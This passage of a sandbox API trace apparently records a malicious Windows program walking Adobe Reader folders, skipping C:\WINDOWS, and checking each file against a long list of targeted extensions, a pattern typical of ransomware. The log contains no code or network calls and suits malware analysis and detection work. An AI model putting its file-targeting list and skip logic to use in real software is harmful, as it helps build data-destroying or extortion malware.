	[0176.442] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0176.442] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0176.442] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.442] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0176.443] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.443] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0176.443] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.443] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0176.443] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.443] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0176.443] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.443] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0176.443] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.443] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0176.443] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.444] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0176.444] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.444] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0176.444] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.444] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0176.444] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.444] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0176.444] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.444] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0176.444] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0176.445] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0176.445] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0176.445] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0176.445] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0176.445] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0176.445] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0176.445] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0176.445] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0176.445] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0176.446] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0176.446] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sample-files", cAlternateFileName="SAMPLE~1")) returned 1
	[0176.446] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files") returned 107
	[0176.446] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files") returned 1
	[0176.446] lstrlenW (lpString="sample-files") returned 12
	[0176.446] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sample-files") returned -1
	[0176.446] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5080048
	[0176.446] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files") returned 107
	[0176.446] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\*", lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140898
	[0176.446] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0176.446] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="assets", cAlternateFileName="")) returned 1
	[0176.446] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\assets") returned 114
	[0176.446] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\assets") returned 1
	[0176.446] lstrlenW (lpString="assets") returned 6
	[0176.446] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="assets") returned 1
	[0176.446] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x50a0058
	[0176.446] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\assets") returned 114
	[0176.446] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\assets\\*", lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140ed8
	[0176.446] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0176.447] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sample Files", cAlternateFileName="SAMPLE~1")) returned 1
	[0176.447] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\assets\\Sample Files") returned 127
	[0176.447] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\assets\\Sample Files") returned 1
	[0176.447] lstrlenW (lpString="Sample Files") returned 12
	[0176.447] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Sample Files") returned -1
	[0176.447] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0176.447] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\assets\\Sample Files") returned 127
	[0176.447] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\assets\\Sample Files\\*", lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0176.454] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0176.454] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Sign White Paper.pdf", cAlternateFileName="ADOBES~1.PDF")) returned 1
	[0176.455] lstrlenW (lpString="Adobe Sign White Paper.pdf") returned 26
	[0176.455] lstrlenW (lpString=".1cd") returned 4
	[0176.455] lstrcmpiW (lpString1=".1cd", lpString2=".pdf") returned -1
	[0176.455] lstrlenW (lpString=".3ds") returned 4
	[0176.455] lstrcmpiW (lpString1=".3ds", lpString2=".pdf") returned -1
	[0176.455] lstrlenW (lpString=".3fr") returned 4
	[0176.455] lstrcmpiW (lpString1=".3fr", lpString2=".pdf") returned -1
	[0176.455] lstrlenW (lpString=".3g2") returned 4
	[0176.455] lstrcmpiW (lpString1=".3g2", lpString2=".pdf") returned -1
	[0176.455] lstrlenW (lpString=".3gp") returned 4
	[0176.455] lstrcmpiW (lpString1=".3gp", lpString2=".pdf") returned -1
	[0176.455] lstrlenW (lpString=".7z") returned 3
	[0176.455] lstrcmpiW (lpString1=".7z", lpString2="pdf") returned -1
	[0176.455] lstrlenW (lpString=".accda") returned 6
	[0176.455] lstrcmpiW (lpString1=".accda", lpString2="er.pdf") returned -1
	[0176.455] lstrlenW (lpString=".accdb") returned 6
	[0176.455] lstrcmpiW (lpString1=".accdb", lpString2="er.pdf") returned -1
	[0176.455] lstrlenW (lpString=".accdc") returned 6
	[0176.455] lstrcmpiW (lpString1=".accdc", lpString2="er.pdf") returned -1
	[0176.455] lstrlenW (lpString=".accde") returned 6
	[0176.455] lstrcmpiW (lpString1=".accde", lpString2="er.pdf") returned -1
	[0176.455] lstrlenW (lpString=".accdt") returned 6
	[0176.455] lstrcmpiW (lpString1=".accdt", lpString2="er.pdf") returned -1
	[0176.455] lstrlenW (lpString=".accdw") returned 6
	[0176.455] lstrcmpiW (lpString1=".accdw", lpString2="er.pdf") returned -1
	[0176.455] lstrlenW (lpString=".adb") returned 4
	[0176.455] lstrcmpiW (lpString1=".adb", lpString2=".pdf") returned -1
	[0176.455] lstrlenW (lpString=".adp") returned 4
	[0176.455] lstrcmpiW (lpString1=".adp", lpString2=".pdf") returned -1
	[0176.455] lstrlenW (lpString=".ai") returned 3
	[0176.455] lstrcmpiW (lpString1=".ai", lpString2="pdf") returned -1
	[0176.455] lstrlenW (lpString=".ai3") returned 4
	[0176.455] lstrcmpiW (lpString1=".ai3", lpString2=".pdf") returned -1
	[0176.455] lstrlenW (lpString=".ai4") returned 4
	[0176.456] lstrcmpiW (lpString1=".ai4", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".ai5") returned 4
	[0176.456] lstrcmpiW (lpString1=".ai5", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".ai6") returned 4
	[0176.456] lstrcmpiW (lpString1=".ai6", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".ai7") returned 4
	[0176.456] lstrcmpiW (lpString1=".ai7", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".ai8") returned 4
	[0176.456] lstrcmpiW (lpString1=".ai8", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".anim") returned 5
	[0176.456] lstrcmpiW (lpString1=".anim", lpString2="r.pdf") returned -1
	[0176.456] lstrlenW (lpString=".arw") returned 4
	[0176.456] lstrcmpiW (lpString1=".arw", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".as") returned 3
	[0176.456] lstrcmpiW (lpString1=".as", lpString2="pdf") returned -1
	[0176.456] lstrlenW (lpString=".asa") returned 4
	[0176.456] lstrcmpiW (lpString1=".asa", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".asc") returned 4
	[0176.456] lstrcmpiW (lpString1=".asc", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".ascx") returned 5
	[0176.456] lstrcmpiW (lpString1=".ascx", lpString2="r.pdf") returned -1
	[0176.456] lstrlenW (lpString=".asm") returned 4
	[0176.456] lstrcmpiW (lpString1=".asm", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".asmx") returned 5
	[0176.456] lstrcmpiW (lpString1=".asmx", lpString2="r.pdf") returned -1
	[0176.456] lstrlenW (lpString=".asp") returned 4
	[0176.456] lstrcmpiW (lpString1=".asp", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".aspx") returned 5
	[0176.456] lstrcmpiW (lpString1=".aspx", lpString2="r.pdf") returned -1
	[0176.456] lstrlenW (lpString=".asr") returned 4
	[0176.456] lstrcmpiW (lpString1=".asr", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".asx") returned 4
	[0176.456] lstrcmpiW (lpString1=".asx", lpString2=".pdf") returned -1
	[0176.456] lstrlenW (lpString=".avi") returned 4
	[0176.457] lstrcmpiW (lpString1=".avi", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".avs") returned 4
	[0176.457] lstrcmpiW (lpString1=".avs", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".backup") returned 7
	[0176.457] lstrcmpiW (lpString1=".backup", lpString2="per.pdf") returned -1
	[0176.457] lstrlenW (lpString=".bak") returned 4
	[0176.457] lstrcmpiW (lpString1=".bak", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".bay") returned 4
	[0176.457] lstrcmpiW (lpString1=".bay", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".bd") returned 3
	[0176.457] lstrcmpiW (lpString1=".bd", lpString2="pdf") returned -1
	[0176.457] lstrlenW (lpString=".bin") returned 4
	[0176.457] lstrcmpiW (lpString1=".bin", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".bmp") returned 4
	[0176.457] lstrcmpiW (lpString1=".bmp", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".bz2") returned 4
	[0176.457] lstrcmpiW (lpString1=".bz2", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".c") returned 2
	[0176.457] lstrcmpiW (lpString1=".c", lpString2="df") returned -1
	[0176.457] lstrlenW (lpString=".cdr") returned 4
	[0176.457] lstrcmpiW (lpString1=".cdr", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".cer") returned 4
	[0176.457] lstrcmpiW (lpString1=".cer", lpString2=".pdf") returned -1
	[0176.457] lstrlenW (lpString=".cf") returned 3
	[0176.457] lstrcmpiW (lpString1=".cf", lpString2="pdf") returned -1
	[0176.457] lstrlenW (lpString=".cfc") returned 4
